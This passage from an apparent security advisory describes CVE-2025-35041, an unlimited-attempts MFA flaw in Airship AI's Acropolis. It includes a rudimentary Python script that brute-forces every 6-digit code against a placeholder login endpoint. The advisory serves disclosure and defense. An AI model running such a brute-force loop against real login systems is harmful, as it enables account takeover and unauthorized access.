Once a user with valid credentials logs into the system, the MFA process allows unlimited attempts to enter the 6-digit MFA code for a 15-minute window. A remote attacker can exploit this by launching a brute-force attack to guess the MFA code during this time period, potentially gaining unauthorized access to the system.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p>\n<p>Although specific exploitation methods may vary, a brute-force attack could conceptually involve a script to automatically generate and attempt all possible 6-digit combinations within the 15-minute window. A rudimentary Python script might resemble:<\/p><div id=\"ameeb-3673662618\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<pre><code class=\"\" data-line=\"\">import requests\nusername = &#039;valid_username&#039;\npassword = &#039;valid_password&#039;\nmfa_code_start = 000000\nmfa_code_end = 999999\nfor code in range(mfa_code_start, mfa_code_end):\nresponse = requests.post(&#039;https:\/\/target.example.com\/login&#039;, data = {&#039;username&#039;: username, &#039;password&#039;: password, &#039;mfa_code&#039;: str(code).zfill(6)})\nif &#039;Login successful&#039; in response.text:\nprint(&quot;Access granted with MFA code: &quot; + str(code).zfill(6))\nbreak<\/code><\/pre>\n<p>Please note this is only a conceptual example and does not represent a real exploit.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The vulnerability identified as CVE-2025-35041 pertains to Airship AI&#8217;s Acropolis product and its handling of Multi-factor Authentication (MFA).
